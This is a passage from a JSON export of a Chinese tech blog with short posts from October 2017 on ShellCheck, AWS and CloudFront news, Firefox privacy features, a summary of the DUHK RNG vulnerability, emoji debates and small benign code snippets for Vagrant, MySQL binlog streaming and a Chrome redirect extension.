    "body": "在朋友的 <a href=\"https://twitter.com/\">Twitter</a> 上看到 <a href=\"https://github.com/koalaman/shellcheck\">shellcheck</a> (ShellCheck, a static analysis tool for shell scripts) 這個專案：\r\n\r\n<blockquote class=\"twitter-tweet\" data-lang=\"en\"><p lang=\"zh\" dir=\"ltr\">但我最近還是在維護/砍一堆 shell scripts 就是惹，推薦 <a href=\"https://t.co/INDLQeeZOK\">https://t.co/INDLQeeZOK</a></p>&mdash; Suiting Tseng (@suitingtseng) <a href=\"https://twitter.com/suitingtseng/status/923917098233073664?ref_src=twsrc%5Etfw\">October 27, 2017</a></blockquote>\r\n<script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n可以看到有點像是 lint 工具，給了不少建議：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/rNZ83mF.webp\" /><img src=\"https://i.gslin.com/imgur/rNZ83mF.jpg\" alt=\"\" /></picture>\r\n\r\n而且看起來已經發展很久了... 在各大 distribution 內都可以直接裝。",
    "title": "shellcheck"
  },
  {
    "id": "7693",
    "body": "<a href=\"https://aws.amazon.com/rds/aurora/\">Amazon Aurora</a> (MySQL) 推出新的效能改善，可以改善 JOIN 時的效能：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2017/10/amazon-aurora-mysql-speeds-join-queries-by-more-than-10x-with-asynchronous-key-prefetch/\">Amazon Aurora (MySQL) Speeds Join Queries by More than 10x with Asynchronous Key Prefetch</a>」。\r\n\r\n看起來像是某個情況的 optimization，將可能的 random access 換成 sequential access 而得到大量的效能：\r\n\r\n<blockquote>This feature applies to queries that require use of the Batched Key Access (BKA) join algorithm and Multi-Range Read (MRR) optimization, and improves performance when the underlying data set is not in the main memory buffer pool or query cache.</blockquote>\r\n\r\n其實記憶體還是最好用的加速器，能加大硬拼就先硬拼... XD",
    "title": "Amazon Aurora (MySQL) 推出的 Asynchronous Key Prefetch"
  },
  {
    "id": "7694",
    "body": "<a href=\"https://www.wikipedia.org/\">維基百科</a>推出了新版的介面：「<a href=\"https://blog.wikimedia.org/2017/10/27/new-interactive-visualization-wikipedia/\">Just how many people are reading Wikipedia in your country, and what language are they using?</a>」。\r\n\r\n<blockquote>We recently released <a href=\"https://stats.wikimedia.org/wikimedia/animations/wivivi/wivivi.html\">a new interactive visualization</a> of Wikipedia traffic by country and language. Called WiViVi, which stands for Wikipedia Views Visualized, the new visualization shows the geographic distribution of pageviews to any or all Wikipedias from two different perspectives[.]</blockquote>\r\n\r\n這個介面可以看到每個版本在每個地區佔的比率，像是中文維基百科的情況：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/hWVh374.webp\" /><img src=\"https://i.gslin.com/imgur/hWVh374.jpg\" alt=\"\" /></picture>\r\n\r\n不過翻牆 VPN 的不知道怎麼算...",
    "title": "維基百科各語言與各地區的綜合資訊"
  },
  {
    "id": "7695",
    "body": "翻到 <a href=\"https://letsencrypt.org/\">Let's Encrypt</a> 的 <a href=\"https://letsencrypt.org/upcoming-features/\">Upcoming Features</a> 時看到：\r\n\r\n<blockquote>Embed SCT receipts in certificates\r\nETA: February, 2018</blockquote>\r\n\r\n對 Embed SCT 不熟，所以查了查這個功能。\r\n\r\n這指的是在簽發 SSL certficiate 後，把資料丟給 <a href=\"https://www.certificate-transparency.org/\">Certificate Transparency</a> (CT) 伺服器後，伺服器會提供 signed certificate timestamp (SCT)；而這個資料放到 SSL certificate 內叫做 Embed SCT：(出自 CT 的 <a href=\"https://www.certificate-transparency.org/faq\">FAQ</a>)\r\n\r\n<blockquote>What is an SCT?\r\nAn SCT is a signed certificate timestamp. When a certificate authority or a server operator submits a certificate to a log, the log responds with an SCT. An SCT is essentially a promise that the log server will add the certificate to the log in a specific time. The time, known as the maximum merge delay (MMD), helps ensure that certificates are added to logs in a reasonable time. The SCT accompanies the certificate until the certificate is revoked. A TLS server must present the SCT to a TLS client (along with the SSL certificate) during the TLS handshake.</blockquote>\r\n\r\n當使用 ECC 時會小於 100 bytes：\r\n\r\n<blockquote>How big is an SCT?\r\nSCTs are less than 100 bytes, assuming elliptic curve signatures are used.</blockquote>\r\n\r\n這樣才能試著解釋前幾天提到要拔掉 <a href=\"https://en.wikipedia.org/wiki/HTTP_Public_Key_Pinning\">HPKP</a> 的事情：「<a href=\"https://blog.gslin.org/archives/2017/10/29/7691/chromium-%E5%85%A7%E6%8F%90%E6%A1%88%E7%A7%BB%E9%99%A4-hpkp-http-public-key-pinning/\">Chromium 內提案移除 HPKP (HTTP Public Key Pinning)</a>」，也就是為什麼他們是提 CT 解，而不是 <a href=\"https://en.wikipedia.org/wiki/DNS_Certification_Authority_Authorization\">DNS CAA</a> 解...\r\n\r\n不過我記得 CT server 可以自己架自己 submit 不是嗎？後來有另外規定一定要用第三方的嗎？這樣又很怪...",
    "title": "Let's Encrypt 的 Embed SCT 支援"
  },
  {
    "id": "7696",
    "body": "前幾天在 <a href=\"https://twitter.com/\">Twitter</a> 看到這個 tweet，然後在高雄的時候 (<a href=\"https://mopcon.org/2017/\">MOPCON 2017</a>)，跟 <a href=\"https://zonble.net/\">zonble</a> 聊天時他也提到這則 tweet 很有趣 XD：\r\n\r\n<blockquote class=\"twitter-tweet\" data-lang=\"en\"><p lang=\"en\" dir=\"ltr\">I think we need to have a discussion about how Google&#39;s burger emoji is placing the cheese underneath the burger, while Apple puts it on top <a href=\"https://t.co/PgXmCkY3Yc\">pic.twitter.com/PgXmCkY3Yc</a></p>&mdash; Thomas Baekdal (@baekdal) <a href=\"https://twitter.com/baekdal/status/924312294439444480?ref_src=twsrc%5Etfw\">October 28, 2017</a></blockquote>\r\n\r\n然後有人回必要條件 XDDD：\r\n\r\n<blockquote class=\"twitter-tweet\" data-lang=\"en\"><p lang=\"en\" dir=\"ltr\">Obviously, cheese must be on top of meat. But lettuce must be insulated by the tomato - so both are in the wrong.</p>&mdash; Tero Kuittinen (@teroterotero) <a href=\"https://twitter.com/teroterotero/status/924316787319164929?ref_src=twsrc%5Etfw\">October 28, 2017</a></blockquote>\r\n\r\n結果微軟是對的 XDDD\r\n\r\n<blockquote class=\"twitter-tweet\" data-lang=\"en\"><p lang=\"en\" dir=\"ltr\">OMG... Microsoft got it right! But Samsung puts the cheese on top of lettuce???</p>&mdash; Tero Kuittinen (@teroterotero) <a href=\"https://twitter.com/teroterotero/status/924317373884223489?ref_src=twsrc%5Etfw\">October 28, 2017</a></blockquote>\r\n\r\n然後這邊有實物照片：\r\n\r\n<blockquote class=\"twitter-tweet\" data-lang=\"en\"><p lang=\"en\" dir=\"ltr\">They&#39;re both wrong. Google&#39;s cheese is wrong, Apple&#39;s lettuce is wrong. The correct order, from bottom up, is burger - cheese - toppings <a href=\"https://t.co/lF1AUu64ht\">pic.twitter.com/lF1AUu64ht</a></p>&mdash; Mark Goodge ?? (@MarkGoodge) <a href=\"https://twitter.com/MarkGoodge/status/924337663456501760?ref_src=twsrc%5Etfw\">October 28, 2017</a></blockquote>\r\n<script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n不過比較有實際價值的是知道了「<a href=\"https://emojipedia.org/\">? Emojipedia — ? Home of Emoji Meanings ????</a>」這個站台，可以查每個平台的呈現方式...",
    "title": "大家在吵漢堡的 Unicode 呈現..."
  },
  {
    "id": "7697",
    "body": "幹掉 <a href=\"https://reactjs.org/\">React</a> (噗)：\r\n\r\n<blockquote class=\"twitter-tweet\" data-lang=\"en\"><p lang=\"en\" dir=\"ltr\">Removing client-side React.js (but keeping it on the server) resulted in a 50% performance improvement on our landing page <a href=\"https://t.co/vM7JhWhYKu\">pic.twitter.com/vM7JhWhYKu</a></p>&mdash; Netflix UI Engineers (@NetflixUIE) <a href=\"https://twitter.com/NetflixUIE/status/923374215041912833?ref_src=twsrc%5Etfw\">October 26, 2017</a></blockquote>\r\n\r\n官方帳號丟戰文出來... 後面就有人開始亂 XDDD\r\n\r\n<blockquote class=\"twitter-tweet\" data-lang=\"en\"><p lang=\"en\" dir=\"ltr\">everyone keeps talking about this PlainJS framework, guess I need to learn it. is it on <a href=\"https://twitter.com/npmjs?ref_src=twsrc%5Etfw\">@npmjs</a>?</p>&mdash; swyx ?? (@swyx) <a href=\"https://twitter.com/swyx/status/923393342364356609?ref_src=twsrc%5Etfw\">October 26, 2017</a></blockquote>\r\n<script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n不過先拉回來看... 依照說明，其他頁面都還是跑 React，只有 Landing Page 被改寫，看起來 Landing Page 的 TTI (Time to Interactive) 是他們的 KPI，所以就被拿出來另外處理了...\r\n\r\n當然也有可能有其他的陰謀論 (而且我覺得可能性是在的)：因為之前 React 的專利問題，變成之後 <a href=\"https://www.facebook.com/\">Facebook</a> 如果真的出手提出告訴，會以惡意侵權來告 (因為鬧這麼大以後，沒有理由裝作不知道了)。這次只換 Landing Page 可以當作是試水溫練功 (累積 migration 的經驗)，後續再換內頁...",
    "title": "Netflix 對 Landing Page 的效能改善計畫..."
  },
  {
    "id": "7698",
    "body": "在「<a href=\"https://zwischenzugs.com/2017/10/27/ten-things-i-wish-id-known-before-using-vagrant/\">Ten Things I Wish I’d Known Before Using Vagrant</a>」這邊作者整理了使用 <a href=\"https://www.vagrantup.com/\">Vagrant</a> 的十個技巧，有些以前就知道，有些是每次遇到都要查一次，有些則是新發現的工具...\r\n\r\n其中第四點提到的工具「<a href=\"https://github.com/vagrant-landrush/landrush\">vagrant-landrush/landrush</a>」之前沒看過：\r\n\r\n<blockquote>A Vagrant plugin that provides a simple DNS server for Vagrant guests</blockquote>\r\n\r\n<blockquote>Landrush is a simple cross-platform DNS for Vagrant VMs that is visible on both, the guest and the host.\r\n\r\nIt spins up a small DNS server and redirects DNS traffic from your VMs to use it, automatically registering/unregistering IP addresses of guests as they come up and go down.</blockquote>\r\n\r\n也可以從範例知道實際用途：\r\n\r\n<pre>Vagrant.configure(\"2\") do |config|\r\n  config.vm.box = \"hashicorp/precise64\"\r\n\r\n  config.landrush.enabled = true\r\n\r\n  config.vm.hostname = \"myhost.vagrant.test\"\r\n\r\n  config.landrush.host 'static1.example.com', '1.2.3.4'\r\n  config.landrush.host 'static2.example.com', '2.3.4.5'\r\nend</pre>\r\n\r\n以前有遇到這樣的需求時都還傻傻的去寫 <code>/etc/hosts</code>... (也是會動啦，而且每一台都寫一樣的東西是還好，但有種很 workaround 的感覺 XD)\r\n\r\n之後有遇到時用看看...",
    "title": "用 Vagrant 的技巧"
  },
  {
    "id": "7700",
    "body": "<a href=\"https://www.torproject.org/projects/torbrowser.html.en\">Tor Browser</a> 是個基於 <a href=\"https://www.mozilla.org/firefox/\">Firefox</a> 改出來的瀏覽器，將 <a href=\"https://www.torproject.org/\">Tor</a> 包進去，讓使用者可以很方便的直接透過 Tor 上網，不需要另外再安裝其他程式。\r\n\r\n在 <a href=\"https://twitter.com/\">Twitter</a> 上看到 <a href=\"https://twitter.com/torproject\">The Tor Project</a> 的這則 tweet，提到 Tor Browser 阻擋 <a href=\"https://en.wikipedia.org/wiki/Canvas_fingerprinting\">Canvas Fingerprinting</a> 的功能將被移植回 Firefox：\r\n\r\n<blockquote class=\"twitter-tweet\" data-lang=\"en\"><p lang=\"en\" dir=\"ltr\">Another privacy-preserving feature from Tor Browser is being added to <a href=\"https://twitter.com/firefox?ref_src=twsrc%5Etfw\">@firefox</a>! It&#39;ll block canvas fingerprinting ❌ ✊<a href=\"https://t.co/dBhAd6DIZm\">https://t.co/dBhAd6DIZm</a></p>&mdash; The Tor Project (@torproject) <a href=\"https://twitter.com/torproject/status/925077397552205825?ref_src=twsrc%5Etfw\">October 30, 2017</a></blockquote>\r\n\r\n將會在 Firefox 58 (現在是 56) 可以用到這個功能：「<a href=\"https://bugzilla.mozilla.org/show_bug.cgi?id=967895\">Prompt (w/ Site Permission) before allowing content to extract canvas data (Tor 6253)</a>」。借用 Tor Browser 阻擋的範例，之後可能會長這樣：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/oIRA21v.webp\" /><img src=\"https://i.gslin.com/imgur/oIRA21v.jpg\" alt=\"\" /></picture>\r\n\r\n另外也提到了這其實是 <a href=\"https://wiki.mozilla.org/Security/Tor_Uplift\">Tor Uplift</a> 計畫中的一個項目：\r\n\r\n<blockquote class=\"twitter-tweet\" data-lang=\"en\"><p lang=\"en\" dir=\"ltr\">This is part of a larger <a href=\"https://twitter.com/mozilla?ref_src=twsrc%5Etfw\">@mozilla</a> project called Tor Uplift: <a href=\"https://t.co/7u75XqmZTf\">https://t.co/7u75XqmZTf</a></p>&mdash; The Tor Project (@torproject) <a href=\"https://twitter.com/torproject/status/925078124961943553?ref_src=twsrc%5Etfw\">October 30, 2017</a></blockquote>\r\n<script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\nFirefox 直接支援後，Tor Browser 也可以少維護一段程式碼...",
    "title": "Firefox 計劃性的將 Tor Browser 提供的隱私保護移植回 Firefox 瀏覽器上"
  },
  {
    "id": "7701",
    "body": "在「<a href=\"https://blog.gslin.org/archives/2017/10/30/7696/%E5%A4%A7%E5%AE%B6%E5%9C%A8%E5%90%B5%E6%BC%A2%E5%A0%A1%E7%9A%84-unicode-%E5%91%88%E7%8F%BE/\">大家在吵漢堡的 Unicode 呈現...</a>」這邊在吵漢堡，然後有人就開始找事了 XDDD\r\n\r\n<blockquote class=\"twitter-tweet\" data-lang=\"en\"><p lang=\"en\" dir=\"ltr\">Hmmmm, Google, this is not how beer works <a href=\"https://t.co/rLsmThcLKM\">pic.twitter.com/rLsmThcLKM</a></p>&mdash; Thomas Fuchs (@thomasfuchs) <a href=\"https://twitter.com/thomasfuchs/status/924576108779048965?ref_src=twsrc%5Etfw\">October 29, 2017</a></blockquote>\r\n\r\n然後有點煩 XDDD\r\n\r\n<blockquote class=\"twitter-tweet\" data-lang=\"en\"><p lang=\"en\" dir=\"ltr\">Fixed. <a href=\"https://t.co/FwIJXe7IaA\">pic.twitter.com/FwIJXe7IaA</a></p>&mdash; svbl (@svblxyz) <a href=\"https://twitter.com/svblxyz/status/924922547325501440?ref_src=twsrc%5Etfw\">October 30, 2017</a></blockquote>\r\n<script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n最近應該會有一波熱潮 XDDD",
    "title": "繼續吵 Unicode 裡啤酒的圖示..."
  },
  {
    "id": "7702",
    "body": "還是在 <a href=\"https://twitter.com/\">Twitter</a> 上看到的奇怪玩具，專案在「<a href=\"https://github.com/cs01/gdbgui\">cs01/gdbgui</a>」，是個可以在瀏覽器裡控制 <a href=\"https://www.gnu.org/software/gdb/\">GDB</a> 的軟體：\r\n\r\n<blockquote>Browser-based frontend to gdb (gnu debugger). Add breakpoints, view the stack, visualize data structures, and more in C, C++, Go, Rust, and Fortran. Run gdbgui from the terminal and a new tab will open in your browser.</blockquote>\r\n\r\n<blockquote class=\"twitter-tweet\" data-lang=\"en\"><p lang=\"und\" dir=\"ltr\"><a href=\"https://t.co/tTRa49wXvJ\">https://t.co/tTRa49wXvJ</a> ooOOoo</p>&mdash; Dan Kaminsky (@dakami) <a href=\"https://twitter.com/dakami/status/925044842400378880?ref_src=twsrc%5Etfw\">October 30, 2017</a></blockquote>\r\n<script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n截圖就看得出來大致的界面：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/T49a0AJ.webp\" /><img src=\"https://i.gslin.com/imgur/T49a0AJ.jpg\" alt=\"\" /></picture>\r\n\r\n不過我還是偏好用 terminal 啦，推薦「<a href=\"https://www.youtube.com/watch?v=PorfLSr3DDI\">CppCon 2015: Greg Law \" Give me 15 minutes & I'll change your view of GDB\"</a>」這個演講，裡面講了不少在 terminal 下使用 GDB 的技巧：\r\n\r\n<iframe width=\"560\" height=\"315\" src=\"https://www.youtube-nocookie.com/embed/PorfLSr3DDI\" frameborder=\"0\" allowfullscreen></iframe>",
    "title": "瀏覽器裡控制 GDB..."
  },
  {
    "id": "7703",
    "body": "這個好讚，在告知安全漏洞後還是不更新選舉用伺服器，於是就被告了，而在被告以後選舉單位就把證據給幹掉 XD：「<a href=\"https://www.mercurynews.com/2017/10/26/georgia-election-server-wiped-after-lawsuit-filed/\">Georgia election server wiped after lawsuit filed</a>」。\r\n\r\n<blockquote>The lawsuit, filed on July 3 by a diverse group of election reform advocates, aims to force Georgia to retire its antiquated and heavily criticized election technology. The server in question, which served as a statewide staging location for key election-related data, made national headlines in June after a security expert disclosed a gaping security hole that wasn’t fixed six months after he reported it to election authorities.</blockquote>\r\n\r\n<img src=\"https://i.gslin.com/imgur/1dnNk1r.jpg\" alt=\"\" />\r\n\r\n然後現在還找不到是誰下令幹掉的...\r\n\r\n<blockquote>It’s not clear who ordered the server’s data irretrievably erased.</blockquote>\r\n\r\n執政者用的方法都差不多...",
    "title": "被告了就把證據滅掉... XD"
  },
  {
    "id": "7704",
    "body": "把投影片傳到 <a href=\"https://speakerdeck.com/\">Speaker Deck</a> 上了：「<a href=\"https://speakerdeck.com/gslin/mysql-to-nosql-and-search-engine\">MySQL to NoSQL &amp; Search Engine</a>」。\r\n\r\n<script async class=\"speakerdeck-embed\" data-id=\"ef7e570338f7482885fe00e868888def\" data-ratio=\"1.77777777777778\" src=\"//speakerdeck.com/assets/embed.js\"></script>\r\n\r\n這是在介紹 <a href=\"https://github.com/noplay/python-mysql-replication\">noplay/python-mysql-replication</a> 這個軟體，我在示範時用的 python script 有增加 <code>blocking</code> 參數讓他保持一直讀取 <a href=\"https://dev.mysql.com/\">MySQL</a> replication stream：\r\n\r\n<pre>from pymysqlreplication import BinLogStreamReader\r\n\r\nmysql_settings = {'host': '127.0.0.1', 'port': 3306, 'user': 'root', 'passwd': ''}\r\n\r\nstream = BinLogStreamReader(connection_settings = mysql_settings, server_id=100, blocking=True)\r\n\r\nfor binlogevent in stream:\r\n    binlogevent.dump()\r\n\r\nstream.close()</pre>\r\n\r\n利用這樣的工具可以做很多事情，像是當 <code>post</code> 表格更新時自動更新 search engine，並且清空 <a href=\"https://memcached.org/\">memcached</a> 內的資料。這可以避免使用 library 時有可能會漏掉忘記做 (因為有些程式不用 library 處理)，可靠度比較高。\r\n\r\n另外一方面 replication protocol 本身就有考慮重連的問題，重新接上時是可以從上一次處理完的資料繼續處理 (只要不要隔太久)，這讓寫應用的人不需要用太複雜的方式確保他不會漏掉。",
    "title": "在 MOPCON 2017 的 Unconference「MySQL to NoSQL & Search Engine」"
  },
  {
    "id": "7706",
    "body": "前陣子在「<a href=\"https://blog.gslin.org/archives/2017/10/12/7634/cloudfront-%E4%B8%80%E7%9B%B4%E6%93%B4%E9%BB%9E/\">CloudFront 一直擴點...</a>」看到 98 個了，然後現在宣佈第 99 個... 可以開始猜 <a href=\"https://aws.amazon.com/cloudfront/\">CloudFront</a> 的第 100 個 PoP 會是哪邊了 XD：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2017/10/cloudfront-announces-99th-point-of-presence-with-second-edge-location-in-miami-florida/\">Amazon CloudFront Announces its 99th Point of Presence with its Second Edge Location in Miami, FL.</a>」。\r\n\r\n不過這次是擴增 Miami 的點 (本來就已經有，多增加一個)，所以是以 capacity 與 redundancy 為主：\r\n\r\n<blockquote>The Amazon CloudFront team is happy to announce its 99th Point of Presence with the addition of a second Edge Location in Miami, Florida.</blockquote>",
    "title": "CloudFront 第 99 個 PoP"
  },
  {
    "id": "7707",
    "body": "在「<a href=\"https://blog.apisyouwonthate.com/lets-stop-building-apis-around-a-network-hack-9a68f7e83dd2\">Let’s Stop Building APIs Around a Network Hack</a>」這邊提到了以前為了解決 HTTP/1.1 的問題而發展出來的 workaround，在 2015 年發展出來的 <a href=\"https://en.wikipedia.org/wiki/HTTP/2\">HTTP/2</a> 從底層直接解了不少問題，加上很快被許多瀏覽器支援 (就算不支援 HTTP/2 也只是降到 HTTP/1.1 跑，比較慢而已)：\r\n\r\n<blockquote>Guess what else was released in May 2015? RFC 7540, otherwise known as HTTP/2. In retrospect this seems highly poetic, as HTTP/2 kinda makes the compound document aspect of JSON-API a little bit pointless, and compound documents to me go hand in hand with what JSON-API is as a standard.</blockquote>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/699GCX8.webp\" /><img src=\"https://i.gslin.com/imgur/699GCX8.jpg\" alt=\"\" /></picture>\r\n\r\n2012 年在 <a href=\"https://mopcon.org/\">MOPCON</a> 第一屆講的「<a href=\"https://speakerdeck.com/gslin/api-design-optimized-for-mobile-platform\">API Design Optimized for Mobile Platform</a>」剛好就是這個主題：\r\n\r\n<script async class=\"speakerdeck-embed\" data-id=\"508c6d1465729a0002003768\" data-ratio=\"1.33333333333333\" src=\"//speakerdeck.com/assets/embed.js\"></script>\r\n\r\n有種懷念感... XD",
    "title": "HTTP/2 時代的 API 設計"
  },
  {
    "id": "7709",
    "body": "最近收到 <a href=\"https://github.com/Automattic/hyperdb\">HyperDB</a> 的 mailing list 信件 (開頭是「<a href=\"http://lists.automattic.com/pipermail/hyperdb/2017-October/000242.html\">[HyperDB] How can I set up HyperDB with latest version.</a>」這封)，有人提到 HyperDB 很久沒更新了... 結果在信理看到有人回了「<a href=\"https://github.com/stuttter/ludicrousdb\">stuttter/ludicrousdb</a>」這個專案：\r\n\r\n<blockquote>LudicrousDB is an advanced database interface for WordPress that supports replication, failover, load balancing, & partitioning</blockquote>\r\n\r\n兩個專案都是抽換掉 <a href=\"https://wordpress.org/\">WordPress</a> 在處理 database 的 library，然後希望自己控制 master/slave 的讀寫分離以及各機房之間的處理 (還有 replication lag)，而不要靠 <a href=\"http://www.proxysql.com/\">ProxySQL</a> 這類工具來做 (以時間來看，當初他們發展這些工具時，ProxySQL 這類的方案也還不夠成熟，大家都不會想要選這個方向...)。\r\n\r\n先記錄下來，如果之後有遇到時可以當作是一個選項...",
    "title": "大型 WordPress 站台會用到的 LudicrousDB (以及 HyperDB)"
  },
  {
    "id": "7710",
    "body": "昨天還在猜 <a href=\"https://aws.amazon.com/cloudfront/\">Amazon CloudFront</a> 的第 100 個 PoP 會在哪裡 (「<a href=\"https://blog.gslin.org/archives/2017/10/31/7706/cloudfront-%E7%AC%AC-99-%E5%80%8B-pop/\">CloudFront 第 99 個 PoP</a>」)，結果今天就開獎了... 是在東京擴充第五個 PoP (加上大阪之後是日本的第六個 PoP)：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2017/10/cloudfront-now-has-100-points-of-presence/\">Amazon CloudFront now has 100 Points of Presence with the launch of its fifth Edge Location in Tokyo, Japan.</a>」。\r\n\r\n<blockquote>Our 100th Point of Presence (POP) is also the fifth Edge Location in Tokyo, and our sixth in Japan.</blockquote>\r\n\r\n東京擴張的好快... Anyway，這是現狀：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/kh4vOTt.webp\" /><img src=\"https://i.gslin.com/imgur/kh4vOTt.jpg\" alt=\"\" /></picture>\r\n\r\n可以看到美國中部的普及率還是偏低，另外缺了非洲... 如果 CloudFront 繼續擴張應該會看到消息。(美國的 PoP 一直有看到在加的消息，比起前幾年是好不少，不過看起來增加的速度還是沒有比其他地區的勤...)",
    "title": "CloudFront 的第 100 個 PoP"
  },
  {
    "id": "7711",
    "body": "在 <a href=\"https://www.schneier.com/\">Bruce Schneier</a> 那邊看到的：「<a href=\"https://www.schneier.com/blog/archives/2017/10/attack_on_old_a.html\">Attack on Old ANSI Random Number Generator</a>」，攻擊的網站在「<a href=\"https://duhkattack.com/\">The DUHK Attack</a>」，論文在「<a href=\"https://duhkattack.com/paper.pdf\">Practical state recovery attacks against legacy RNG implementations</a> (PDF)」。\r\n\r\n攻擊的對象是 ANSI X9.31 Random Number Generator：\r\n\r\n<blockquote>DUHK (Don't Use Hard-coded Keys) is a vulnerability that affects devices using the ANSI X9.31 Random Number Generator (RNG) in conjunction with a hard-coded seed key.</blockquote>\r\n\r\n然後攻擊的對象是 <a href=\"https://www.fortinet.com/\">Fortinet</a> 的 <a href=\"https://www.fortinet.com/products/fortigate/fortios.html\">FortiOS</a>：\r\n\r\n<blockquote>Traffic from any VPN using FortiOS 4.3.0 to FortiOS 4.3.18 can be decrypted by a passive network adversary who can observe the encrypted handshake traffic.</blockquote>\r\n\r\n如果照說明的只到 4.3.18，那麼去年 11 月更新的 4.3.19 (參考「<a href=\"http://docs.fortinet.com/d/fortigate-fortios-4.3.19-release-notes\">FortiOS 4.3.19 Release Notes</a>」) 應該是修正了？不過裡面沒翻到類似的資料，是剛好把 RNG 換掉了嗎？",
    "title": "The DUHK Attack：因為亂數產生器的問題而造成的安全漏洞"
  },
  {
    "id": "7712",
    "body": "在 <a href=\"https://techcrunch.com/2017/10/28/how-i-cured-my-tech-fatigue-by-ditching-feeds/\">TechCrunch</a> 的「<a href=\"https://techcrunch.com/2017/10/28/how-i-cured-my-tech-fatigue-by-ditching-feeds/\">How I cured my tech fatigue by ditching feeds</a>」這篇提到了 Social Network 成隱的問題：\r\n\r\n<blockquote>Many people have deleted the Facebook app from their phone to avoid this mindless habit. “What’s going on in my feed?” they think. Then they scroll, scroll, scroll, get bored and close the app. Repeat this process every 30 minutes. Deleting the app is the best way to take a stance and say that Facebook is a waste of time.</blockquote>\r\n\r\n砍掉 <a href=\"https://www.facebook.com/\">Facebook</a> 是一個還不錯的方法，但如果還是有使用 Facebook 需求，就只好想辦法降低 Facebook 帶來的影響。其中我找的方法是強制切到 Most Recent 版本，降低 Facebook 演算法的介入。\r\n\r\n昨天剛好在重新處理機器，發現之前用的那個 <a href=\"https://www.google.com/chrome/\">Google Chrome</a> 套件不見了，只好找看看有沒有替代方案，後來翻到這個：「<a href=\"https://chrome.google.com/webstore/detail/facebook-most-recent-news/gpgmgibocpbolpkabmhkajinpgkfdhbm\">Facebook Most Recent News Feed</a>」。\r\n\r\n如果看裡面程式碼，其實做的事情很簡單，就是硬切過去：\r\n\r\n<pre>chrome.webRequest.onBeforeRequest.addListener(\r\n    function(info) {\r\n        if (info.url === 'https://www.facebook.com/') {\r\n            return {\r\n                redirectUrl: 'https://www.facebook.com/?sk=h_chr'\r\n            }\r\n        }\r\n    }, {\r\n        urls: [\r\n            \"https://www.facebook.com/*\"\r\n        ],\r\n        types: [\"main_frame\"]\r\n    }, [\"blocking\"]\r\n);</pre>\r\n\r\n當然，如果能考慮整個移除的話也是不錯啦...",
    "title": "強制 Facebook 的「時間軸」依照時間排序"
  },
  {
    "id": "7713",
    "body": "在「<a href=\"https://www.businessinsider.com/walmart-store-robot-program-expands-2017-10\">Walmart will soon have robots roaming the aisles in 50 stores</a>」這邊看到 <a href=\"https://www.walmart.com/\">Walmart</a> 要導入機器人取代人類的工作了，像是架上沒貨或是標籤錯誤或沒標的：\r\n\r\n<blockquote>The robots go up and down the aisles, scanning for out-of-stock items, incorrect prices, and wrong or missing labels.</blockquote>\r\n\r\n像是這樣的機器：\r\n\r\n<img src=\"https://i.gslin.com/imgur/2DmloXk.jpg\" alt=\"\" />\r\n\r\n或是在掃描時更明顯的照片：\r\n\r\n<img src=\"https://i.gslin.com/imgur/SERfxPu.jpg\" alt=\"\" />\r\n\r\n如果一直讓機器來換掉人類能做的事情，是不是有機會到後來就沒有工作需要做？如果當全世界都實行「<a href=\"https://zh.wikipedia.org/wiki/%E7%84%A1%E6%A2%9D%E4%BB%B6%E5%9F%BA%E6%9C%AC%E6%94%B6%E5%85%A5\">無條件基本收入</a> (Unconditional Basic Income)」時，會不會愈來愈接近 <a href=\"https://en.wikipedia.org/wiki/Star_Trek\">Star Trek</a> 裡面講到未來的經濟體系，沒有貨幣時情況？不曉得兩百年後會是什麼樣子...",
    "title": "Walmart 在賣場要導入機器人取代人類的工作了..."
  },
  {
    "id": "7714",
    "body": "<a href=\"https://cloud.google.com/\">Google Cloud Platform</a> 開放印度的點了：「<a href=\"https://cloudplatform.googleblog.com/2017/10/GCP-arrives-in-India-with-launch-of-Mumbai-region.html\">GCP arrives in India with launch of Mumbai region</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/91YniYP.webp\" /><img src=\"https://i.gslin.com/imgur/91YniYP.jpg\" alt=\"\" /></picture>\r\n\r\n亞洲的第四個地區 (另外三個是台灣、日本、新加坡)。",
    "title": "Google Cloud Platform 開放印度的點了"
  },
  {
    "id": "7715",
    "body": "推出啦：「<a href=\"https://nodejs.org/en/blog/release/v8.9.0/\">Node v8.9.0 (LTS)</a>」，另外可以看「<a href=\"https://medium.com/the-node-js-collection/news-node-js-8-moves-into-long-term-support-and-node-js-9-becomes-the-new-current-release-line-74cf754a10a0\">NEWS: Node.js 8 Moves into Long-Term Support and Node.js 9 Becomes the New Current Release Line</a>」這篇。\r\n\r\n從 6 到 8 多了 async &amp; await (<a href=\"https://en.wikipedia.org/wiki/ES7\">ES7</a>)，應該會是對整個生態系改變最大的功能了，可以預期會有一堆人濫用... XD\r\n\r\n剛剛測 <a href=\"https://github.com/tj/n\">n</a> 的 <code>lts</code> 參數發現還沒更新，先用 <code>n 8.9.0</code> 換上去...",
    "title": "Node.js 第一個 8.x LTS 推出"
  },
  {
    "id": "7716",
